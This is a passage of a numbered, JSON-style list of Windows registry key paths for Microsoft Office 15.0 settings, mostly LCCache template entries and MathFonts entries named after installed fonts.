  1957. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1958. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1959. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1960. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1961. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1962. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1963. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1964. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1965. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1966. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1967. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1968. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1969. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1970. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1971. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1972. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1973. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1974. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1975. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1976. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1977. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1978. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1979. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1980. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1981. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1982. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1983. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1984. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1985. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1986. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1987. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1988. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1989. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1990. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1991. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1992. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1993. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1994. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1995. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1996. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1997. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1998. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1999. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  2000. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  2001. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  2002. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  2003. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  2004. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
  2005. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
  2006. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
  2007. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
  2008. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
  2009. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
  2010. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\NextUpdate",
  2011. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\LastUpdate",
  2012. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Arial Unicode MS",
  2013. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Batang",
  2014. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@BatangChe",
  2015. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DFKai-SB",
  2016. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Dotum",
  2017. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DotumChe",
  2018. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@FangSong",
  2019. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gulim",
  2020. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GulimChe",
  2021. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gungsuh",
  2022. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GungsuhChe",
  2023. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@KaiTi",
  2024. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Malgun Gothic",
  2025. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo",
  2026. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo UI",
  2027. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei",
  2028. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei UI",
  2029. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei",
  2030. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei UI",
  2031. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU",
  2032. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS",
  2033. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS-ExtB",
  2034. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU-ExtB",
  2035. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Gothic",
  2036. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Mincho",
  2037. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PGothic",
  2038. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PMincho",
  2039. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS UI Gothic",
  2040. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@NSimSun",
  2041. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU",
  2042. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU-ExtB",
  2043. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimHei",
  2044. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun",
  2045. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun-ExtB",
  2046. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Agency FB",
  2047. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aharoni",
  2048. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Algerian",
  2049. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Andalus",
  2050. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Angsana New",
  2051. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\AngsanaUPC",
  2052. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aparajita",
  2053. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arabic Typesetting",
  2054. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial",
  2055. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Black",
  2056. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Narrow",
  2057. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Rounded MT Bold",
  2058. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Unicode MS",
  2059. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Baskerville Old Face",
  2060. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Batang",
  2061. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BatangChe",
  2062. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bauhaus 93",
  2063. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bell MT",
  2064. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB",
  2065. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB Demi",
  2066. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bernard MT Condensed",
  2067. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Blackadder ITC",
  2068. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT",
  2069. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Black",
  2070. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Condensed",
  2071. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Poster Compressed",
  2072. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Book Antiqua",
  2073. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookman Old Style",
  2074. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookshelf Symbol 7",
  2075. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bradley Hand ITC",
  2076. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Britannic Bold",
  2077. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Broadway",
  2078. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Browallia New",
  2079. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BrowalliaUPC",
  2080. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Brush Script MT",
  2081. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri",
  2082. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri Light",
  2083. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Californian FB",
  2084. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calisto MT",
  2085. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria",
  2086. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria Math",
  2087. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Candara",
  2088. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Castellar",
  2089. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Centaur",
  2090. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century",
  2091. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Gothic",
  2092. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Schoolbook",
  2093. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Chiller",
  2094. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Colonna MT",
  2095. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Comic Sans MS",
  2096. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Consolas",
  2097. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Constantia",
  2098. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cooper Black",
  2099. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Bold",
  2100. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Light",
  2101. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Corbel",
  2102. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cordia New",
  2103. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\CordiaUPC",
  2104. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Courier New",
  2105. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Curlz MT",
  2106. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DaunPenh",
  2107. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\David",
  2108. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DFKai-SB",
  2109. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DilleniaUPC",
  2110. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DokChampa",
  2111. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Dotum",
  2112. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DotumChe",
  2113. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ebrima",
  2114. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Edwardian Script ITC",
  2115. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Elephant",
  2116. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Engravers MT",
  2117. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Bold ITC",
  2118. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Demi ITC",
  2119. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Light ITC",
  2120. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Medium ITC",
  2121. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Estrangelo Edessa",
  2122. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\EucrosiaUPC",
  2123. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Euphemia",
  2124. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FangSong",
  2125. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Felix Titling",
  2126. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Footlight MT Light",
  2127. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Forte",
  2128. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Book",
  2129. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi",
  2130. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi Cond",
  2131. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Heavy",
  2132. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium",
  2133. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium Cond",
  2134. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FrankRuehl",
  2135. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FreesiaUPC",
  2136. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Freestyle Script",
  2137. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\French Script MT",
  2138. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gabriola",
  2139. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gadugi",
  2140. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Garamond",
  2141. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gautami",
  2142. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Georgia",
  2143. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gigi",
  2144. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT",
  2145. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Condensed",
  2146. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Ext Condensed Bold",
  2147. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold",
  2148. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold Condensed",
  2149. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gisha",
  2150. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gloucester MT Extra Condensed",
  2151. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Old Style",
  2152. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Stout",
  2153. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gulim",
  2154. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GulimChe",
  2155. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gungsuh",
  2156. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GungsuhChe",
  2157. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Haettenschweiler",
  2158. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harlow Solid Italic",
  2159. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harrington",
  2160. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\High Tower Text",
  2161. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Impact",
  2162. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Imprint MT Shadow",
  2163. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Informal Roman",
  2164. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\IrisUPC",
  2165. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Iskoola Pota",
  2166. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\JasmineUPC",
  2167. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Jokerman",
  2168. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Juice ITC",
  2169. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KaiTi",
  2170. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kalinga",
  2171. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kartika",
  2172. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Khmer UI",
  2173. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KodchiangUPC",
  2174. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kokila",
  2175. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kristen ITC",
  2176. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kunstler Script",
  2177. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lao UI",
  2178. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Latha",
  2179. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Leelawadee",
  2180. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Levenim MT",
  2181. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\LilyUPC",
  2182. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Bright",
  2183. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Calligraphy",
  2184. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Console",
  2185. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Fax",
  2186. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Handwriting",
  2187. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans",
  2188. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Typewriter",
  2189. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Unicode",
  2190. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Magneto",
  2191. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Maiandra GD",
  2192. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Malgun Gothic",
  2193. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mangal",
  2194. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Marlett",
  2195. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Matura MT Script Capitals",
  2196. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo",
  2197. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo UI",
